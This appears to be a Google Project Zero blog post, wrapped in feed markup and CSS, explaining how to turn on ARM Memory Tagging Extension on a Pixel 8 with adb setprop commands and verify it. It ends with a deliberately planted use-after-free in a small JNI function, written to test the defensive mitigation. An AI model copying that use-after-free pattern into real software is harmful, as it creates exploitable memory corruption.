tag:blogger.com,1999:blog-48381368200321579852024-03-18T09:49:10.351-07:00Project ZeroNews and updates from the Project Zero team at GoogleUnknownnoreply@blogger.comBlogger217125tag:blogger.com,1999:blog-4838136820032157985.post-24722107344487236412023-11-03T10:04:00.000-07:002023-11-03T10:04:59.552-07:00First handset with MTE on the market <style type="text/css">@import url(https://themes.googleusercontent.com/fonts/css?kit=DFQxm4rd7fRHgM9OTejWVT5Vho6BE7M80rHXEVKqXWcinf93kRmgH2T4xWS0JMLd96xlbbE5D7Gw2o7jubnkMA);.lst-kix_mpwcgajc4xj4-0>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-0}ol.lst-kix_mpwcgajc4xj4-4{list-style-type:none}.lst-kix_d02lf6xv7lip-8>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-3{list-style-type:none}ol.lst-kix_mpwcgajc4xj4-6{list-style-type:none}.lst-kix_d02lf6xv7lip-7>li:before{content:"- "}.lst-kix_6winxzvxkxle-2>li:before{content:"- "}.lst-kix_6winxzvxkxle-4>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-5{list-style-type:none}ol.lst-kix_mpwcgajc4xj4-0{list-style-type:none}ol.lst-kix_mpwcgajc4xj4-2.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-2 0}.lst-kix_d02lf6xv7lip-6>li:before{content:"- "}.lst-kix_mpwcgajc4xj4-6>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-6}ol.lst-kix_mpwcgajc4xj4-2{list-style-type:none}.lst-kix_6winxzvxkxle-3>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-1{list-style-type:none}ul.lst-kix_d02lf6xv7lip-7{list-style-type:none}ul.lst-kix_d02lf6xv7lip-8{list-style-type:none}ul.lst-kix_d02lf6xv7lip-5{list-style-type:none}.lst-kix_6winxzvxkxle-6>li:before{content:"- "}ul.lst-kix_d02lf6xv7lip-6{list-style-type:none}ul.lst-kix_d02lf6xv7lip-3{list-style-type:none}ul.lst-kix_d02lf6xv7lip-4{list-style-type:none}ul.lst-kix_d02lf6xv7lip-1{list-style-type:none}.lst-kix_6winxzvxkxle-5>li:before{content:"- "}ul.lst-kix_d02lf6xv7lip-2{list-style-type:none}ul.lst-kix_d02lf6xv7lip-0{list-style-type:none}.lst-kix_mpwcgajc4xj4-5>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-5}.lst-kix_6winxzvxkxle-7>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-6.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-6 0}.lst-kix_6winxzvxkxle-8>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-8{list-style-type:none}ol.lst-kix_mpwcgajc4xj4-7{list-style-type:none}ol.lst-kix_mpwcgajc4xj4-8.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-8 0}ol.lst-kix_mpwcgajc4xj4-5.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-5 0}ul.lst-kix_wtv2d6q4vyvv-8{list-style-type:none}.lst-kix_mpwcgajc4xj4-0>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-0,decimal) ". "}.lst-kix_mpwcgajc4xj4-1>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-1,lower-latin) ". "}.lst-kix_mpwcgajc4xj4-3>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-3,decimal) ". "}ul.lst-kix_wtv2d6q4vyvv-1{list-style-type:none}ul.lst-kix_wtv2d6q4vyvv-0{list-style-type:none}.lst-kix_mpwcgajc4xj4-2>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-2,lower-roman) ". "}.lst-kix_mpwcgajc4xj4-4>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-4,lower-latin) ". "}ul.lst-kix_wtv2d6q4vyvv-3{list-style-type:none}ul.lst-kix_wtv2d6q4vyvv-2{list-style-type:none}ul.lst-kix_wtv2d6q4vyvv-5{list-style-type:none}ul.lst-kix_wtv2d6q4vyvv-4{list-style-type:none}ul.lst-kix_wtv2d6q4vyvv-7{list-style-type:none}ul.lst-kix_wtv2d6q4vyvv-6{list-style-type:none}ul.lst-kix_6winxzvxkxle-8{list-style-type:none}.lst-kix_mpwcgajc4xj4-7>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-7,lower-latin) ". "}.lst-kix_wtv2d6q4vyvv-0>li:before{content:"- "}ul.lst-kix_6winxzvxkxle-7{list-style-type:none}.lst-kix_mpwcgajc4xj4-3>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-3}ul.lst-kix_6winxzvxkxle-6{list-style-type:none}.lst-kix_mpwcgajc4xj4-6>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-6,decimal) ". "}.lst-kix_mpwcgajc4xj4-8>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-8,lower-roman) ". "}ul.lst-kix_6winxzvxkxle-5{list-style-type:none}ul.lst-kix_6winxzvxkxle-4{list-style-type:none}.lst-kix_mpwcgajc4xj4-5>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-5,lower-roman) ". "}.lst-kix_wtv2d6q4vyvv-2>li:before{content:"- "}ul.lst-kix_6winxzvxkxle-3{list-style-type:none}ul.lst-kix_6winxzvxkxle-2{list-style-type:none}.lst-kix_wtv2d6q4vyvv-1>li:before{content:"- "}ul.lst-kix_6winxzvxkxle-1{list-style-type:none}.lst-kix_wtv2d6q4vyvv-4>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-4.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-4 0}.lst-kix_wtv2d6q4vyvv-3>li:before{content:"- "}.lst-kix_wtv2d6q4vyvv-8>li:before{content:"- "}.lst-kix_mpwcgajc4xj4-8>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-8}ol.lst-kix_mpwcgajc4xj4-0.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-0 0}.lst-kix_mpwcgajc4xj4-2>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-2}.lst-kix_wtv2d6q4vyvv-6>li:before{content:"- "}.lst-kix_wtv2d6q4vyvv-5>li:before{content:"- "}ul.lst-kix_6winxzvxkxle-0{list-style-type:none}.lst-kix_wtv2d6q4vyvv-7>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-3.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-3 0}ol.lst-kix_mpwcgajc4xj4-1.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-1 0}.lst-kix_d02lf6xv7lip-0>li:before{content:"- "}.lst-kix_d02lf6xv7lip-1>li:before{content:"- "}.lst-kix_d02lf6xv7lip-2>li:before{content:"- "}.lst-kix_mpwcgajc4xj4-1>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-1}.lst-kix_d02lf6xv7lip-4>li:before{content:"- "}.lst-kix_mpwcgajc4xj4-4>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-4}.lst-kix_mpwcgajc4xj4-7>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-7}.lst-kix_d02lf6xv7lip-3>li:before{content:"- "}.lst-kix_d02lf6xv7lip-5>li:before{content:"- "}.lst-kix_6winxzvxkxle-0>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-7.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-7 0}.lst-kix_6winxzvxkxle-1>li:before{content:"- "}ol{margin:0;padding:0}table td,table th{padding:0}.XtVSyvVaud-c0{color:#188038;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:9pt;font-family:"Roboto Mono";font-style:normal}.XtVSyvVaud-c20{padding-top:18pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.XtVSyvVaud-c21{padding-top:0pt;padding-bottom:3pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.XtVSyvVaud-c28{padding-top:16pt;padding-bottom:4pt;line-height:1.0;page-break-after:avoid;orphans:2;widows:2;text-align:left}.XtVSyvVaud-c24{background-color:#ffffff;padding-top:18pt;padding-bottom:6pt;line-height:1.38;orphans:2;widows:2;text-align:left}.XtVSyvVaud-c6{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-family:"Arial";font-style:normal}.XtVSyvVaud-c8{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.XtVSyvVaud-c7{color:#000000;text-decoration:none;vertical-align:baseline;font-size:11pt;font-style:normal}.XtVSyvVaud-c13{color:#000000;text-decoration:none;vertical-align:baseline;font-size:13pt;font-style:normal}.XtVSyvVaud-c2{font-size:9pt;font-family:"Roboto Mono";color:#188038;font-weight:400}.XtVSyvVaud-c11{-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline;text-decoration-skip-ink:none}.XtVSyvVaud-c18{text-decoration:none;vertical-align:baseline;font-style:normal}.XtVSyvVaud-c5{font-family:"Roboto Mono";color:#1967d2;font-weight:400}.XtVSyvVaud-c27{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.XtVSyvVaud-c3{font-weight:400;font-family:"Google Sans"}.XtVSyvVaud-c1{color:inherit;text-decoration:inherit}.XtVSyvVaud-c26{color:#434343;font-size:8pt}.XtVSyvVaud-c17{color:#000000;font-size:10pt}.XtVSyvVaud-c12{font-family:"Roboto Mono";font-weight:400}.XtVSyvVaud-c15{font-weight:700;font-family:"Google Sans"}.XtVSyvVaud-c19{color:#000000;font-size:16pt}.XtVSyvVaud-c30{font-size:8pt;color:#000000}.XtVSyvVaud-c9{height:11pt}.XtVSyvVaud-c29{color:#9334e6}.XtVSyvVaud-c4{font-size:9pt}.XtVSyvVaud-c23{vertical-align:super}.XtVSyvVaud-c14{color:#188038}.XtVSyvVaud-c22{font-size:26pt}.XtVSyvVaud-c25{font-size:16pt}.XtVSyvVaud-c10{font-size:11pt}.XtVSyvVaud-c16{color:#37474f}.XtVSyvVaud-c31{color:#b80672}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:8pt;padding-bottom:4pt;font-family:"Google Sans";line-height:1.0;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left} .codeblock { background-color: #EEEEEE; margin: 2em 0.1em; padding: 1em; border-radius: 10px; }</style></head><body class="c27 doc-content">
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">By Mark Brand, Google Project Zero</span></p><h2 class="XtVSyvVaud-c24" id="h.y3m9emfhkn17"><span class="XtVSyvVaud-c18 XtVSyvVaud-c3 XtVSyvVaud-c19">Introduction</span></h2>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">It's </span><span class="XtVSyvVaud-c3">finally time</span><span class="XtVSyvVaud-c3"> for me to fulfill a long-standing promise. Since I first heard about ARM's Memory Tagging Extensions, I've said (to far too many people at this point to be able to back out…) that I'd immediately switch to the first available device that supported this feature. It's been a long wait (since late 2017) but with the release of the new </span><span class="XtVSyvVaud-c3 XtVSyvVaud-c11"><a class="XtVSyvVaud-c11" href="https://blog.google/products/pixel/google-pixel-8-pro/">Pixel 8 / Pixel 8 Pro</a></span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"> handsets, there's finally a production handset that allows you to enable MTE!</span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">T</span><span class="XtVSyvVaud-c3">he ability of MTE to detect memory corruption exploitation at the first dangerous access is a significant improvement in diagnostic and potential security effectiveness. The availability of MTE on a production handset for the first time is a big step forward, and I think there's real potential to use this technology to make 0-day harder.</span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">I've been running my Pixel 8 with MTE enabled since release day, and so far I haven't found any issues with any of the applications I use on a daily basis</span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3 XtVSyvVaud-c23"><a class="XtVSyvVaud-c1" href="#h.9x1hlkdzy7n9">1</a></span><span class="XtVSyvVaud-c3">, or any noticeable performance issues.</span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">Currently, MTE is only available on the Pixel as a developer option, intended for app developers to test their apps using MTE</span><span class="XtVSyvVaud-c3">, but we can configure it to default to synchronous mode for </span><span class="XtVSyvVaud-c3">all</span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3 XtVSyvVaud-c23"><a class="XtVSyvVaud-c1" href="#h.c72zfxz1h4jv">2</a></span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"> apps and native user mode binaries. This can be done on a stock image, without bootloader unlocking or rooting required - just a couple of debugger commands. We'll do that now, but first:</span></p><h2 class="XtVSyvVaud-c20" id="h.1wg7xxcfic4o"><span class="XtVSyvVaud-c3">Disclaimer</span></h2>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c15">This is absolutely not a supported device configuration; </span><span class="XtVSyvVaud-c3">and it's highly likely that you'll encounter issues with at least some applications crashing or failing to run correctly with MTE if you set your device up in this way</span><span class="XtVSyvVaud-c3">.</span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"> </span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">This is how I've configured my personal Pixel 8, and so far I've not experienced any issues, but this was somewhat of a surprise to me, and I'm still waiting to see what the first app that simply won't work at all will be...</span><span class="XtVSyvVaud-c3"><br><br></span><span class="XtVSyvVaud-c3 XtVSyvVaud-c25">Enabling MTE on Pixel 8/Pixel 8 Pro</span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">Enabling MTE on an Android device requires the bootloader to reserve a portion of the device memory for storing tags. This means that there are two separate places where MTE needs to be enabled - first we need to configure the bootloader to enable it, and then we need to configure the system to use it in applications.<br></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">First we need follow the </span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3"><a class="XtVSyvVaud-c11" href="https://developer.android.com/studio/debug/dev-options#:~:text=Enable%20USB%20debugging%20on%20your%20device,-Before%20you%20can&text=Enable%20USB%20debugging%20in%20the,Advanced%20%3E%20Developer%20Options%20%3E%20USB%20debugging">Android instructions </a></span><span class="XtVSyvVaud-c3">to</span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"> enable developer mode and USB debugging on the device:</span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c6 XtVSyvVaud-c10"></span></p>
<p class="XtVSyvVaud-c8"></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c6 XtVSyvVaud-c10"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMUk4xkJBZCV6AiOVlAXpvjqe7Jy8zbE16O3VggdMsppvQyNa4JmkS05c2G6tnAQ2VBEqQDCtJ3MnZgTW3IICWVAdnDZOAW9B66AsuQZPN5wj_diwjLH3n_quGk9u4-nLoORIUXBuOX3KyxclJvUd87vWjBK8fBG79A70dLxa_vK2brlb5YgZaon5BoWU/s1224/Screenshot%202023-11-01%20at%204.54.22%E2%80%AFPM.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMUk4xkJBZCV6AiOVlAXpvjqe7Jy8zbE16O3VggdMsppvQyNa4JmkS05c2G6tnAQ2VBEqQDCtJ3MnZgTW3IICWVAdnDZOAW9B66AsuQZPN5wj_diwjLH3n_quGk9u4-nLoORIUXBuOX3KyxclJvUd87vWjBK8fBG79A70dLxa_vK2brlb5YgZaon5BoWU/s1200/Screenshot%202023-11-01%20at%204.54.22%E2%80%AFPM.png" border="0" alt="" style="max-height: 750px; max-width: 600px;"title="" /></a></span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c6 XtVSyvVaud-c10"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">Now we need to connect our phone to a trusted </span><span class="XtVSyvVaud-c3">computer</span><span class="XtVSyvVaud-c3"> that has the </span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3"><a class="XtVSyvVaud-c11" href="https://developer.android.com/tools/adb">Android debugging tools</a></span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"> installed on it - I'm using my linux workstation:</span></p>
<div class="codeblock">
<p class="XtVSyvVaud-c8"><span></span><span class="XtVSyvVaud-c0">markbrand@markbrand$ adb devices -l</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">List of devices attached</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">XXXXXXXXXXXXXX device usb:3-3 product:shiba model:Pixel_8 device:shiba transport_id:5</span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c0"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">markbrand@markbrand$ adb shell</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">shiba:/ $ setprop arm64.memtag.bootctl memtag</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">shiba:/ $ setprop persist.arm64.memtag.default sync</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">shiba:/ $ setprop persist.arm64.memtag.app_default sync</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">shiba:/ $ reboot</span></p>
</div>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">These commands are doing a couple of things - first, we're configuring the bootloader to enable MTE at boot. The second command sets the default MTE mode for native executables running on the device, and the third command sets the default MTE mode for apps. An app developer can enable MTE by using the </span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3"><a class="XtVSyvVaud-c11" href="https://developer.android.com/ndk/guides/arm-mte#production">manifest</a></span><span class="XtVSyvVaud-c3">, but this system property sets the default MTE mode for apps, effectively making it </span><span class="XtVSyvVaud-c3">opt-out</span><span class="XtVSyvVaud-c3"> instead of opt-in.</span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">While on the topic of apps opting-out, it's worth noting that </span><span class="XtVSyvVaud-c3">Chrome</span><span class="XtVSyvVaud-c3"> doesn't use the system allocator for most allocations, and instead uses PartitionAlloc. There is experimental MTE support under development, which can be enabled with some additional steps</span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3 XtVSyvVaud-c23"><a class="XtVSyvVaud-c1" href="#h.48b4e8cq1xxw">3</a></span><span class="XtVSyvVaud-c3">. U</span><span class="XtVSyvVaud-c3">nfortunately this currently requires setting a command-line flag which involves some security tradeoffs. </span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">We expect that Chrome will add an easier way to enable MTE support without these problems in the near future.</span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">I</span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">f we look at all of the system properties, we can see that there are a few additional properties that are related to memory tagging:</span></p>
<div class="codeblock">
<p class="XtVSyvVaud-c8"><span></span><span class="XtVSyvVaud-c2">shiba:/</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">$</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">getprop</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">|</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">grep</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">memtag</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[arm64.memtag.bootctl]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[memtag]</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[persist.arm64.memtag.app.com.android.nfc]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[off]</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[persist.arm64.memtag.app.com.android.se]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[off]</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[persist.arm64.memtag.app.com.google.android.bluetooth]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[off]</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[persist.arm64.memtag.app_default]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[sync]</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[persist.arm64.memtag.default]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[sync]</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[persist.arm64.memtag.system_server]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[off]</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[ro.arm64.memtag.bootctl_supported]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[1]</span></p>
</div>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">There are unfortunately some default exclusions which we can't overwrite - the protections on system properties mean that we can't currently enable </span><span class="XtVSyvVaud-c3">MTE for a few components</span><span class="XtVSyvVaud-c3"> in a normal production build - these exceptions are </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c14">system_server</span><span class="XtVSyvVaud-c3"> and applications related to nfc, the secure element and bluetooth</span><span class="XtVSyvVaud-c3">.</span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">We wanted to make sure that these commands work, so we'll do that now. We'll first check whether it's working for native executables:</span></p>
<div class="codeblock">
<p class="XtVSyvVaud-c8"><span></span><span class="XtVSyvVaud-c0">shiba:/ $ cat /proc/self/smaps | grep mt</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">VmFlags: rd wr mr mw me ac mt </span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">VmFlags: rd wr mr mw me ac mt </span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">VmFlags: rd wr mr mw me ac mt </span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">VmFlags: rd wr mr mw me ac mt </span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">VmFlags: rd wr mr mw me ac mt </span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">VmFlags: rd wr mr mw me ac mt </span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">VmFlags: rd wr mr mw me ac mt </span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">765bff1000-765c011000 r--s 00000000 00:12 97 /dev/__properties__/u:object_r:arm64_memtag_prop:s0</span></p>
</div>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c6 XtVSyvVaud-c10"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">We can see that our</span><span> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c14">cat</span><span class="XtVSyvVaud-c3"> process</span><span class="XtVSyvVaud-c3"> has mappings with the</span><span> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c14">mt</span><span> </span><span class="XtVSyvVaud-c3">bit set, so MTE has been enabled for the process.</span></p>
<p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">Now in order to check that an app without any manifest setting has picked up this, we added a little bit of code to an empty JNI project to trigger a use-after-free bug:</span></p>
<div class="codeblock">
<p class="XtVSyvVaud-c8"><span></span><span class="XtVSyvVaud-c5 XtVSyvVaud-c4">extern</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">"C"</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">JNIEXPORT</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">jstring</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">JNICALL</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">Java_com_example_mtetestapplication_MainActivity_stringFromJNI(</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">JNIEnv*</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">env,</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">jobject</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">/*</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c5 XtVSyvVaud-c4">this</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">*/)</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">{</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c29">char</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">*</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">ptr</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">=</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">strdup(</span><span class="XtVSyvVaud-c2">"test string"</span><span class="XtVSyvVaud-c18 XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">);</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c18 XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16"> free(ptr);</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16"> </span><span class="XtVSyvVaud-c18 XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c31">// Use-after-free when ptr is accessed below.</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c4 XtVSyvVaud-c5">return</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c18 XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">env->NewStringUTF(ptr);</span></p>
<p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">}</span></p>
</div>
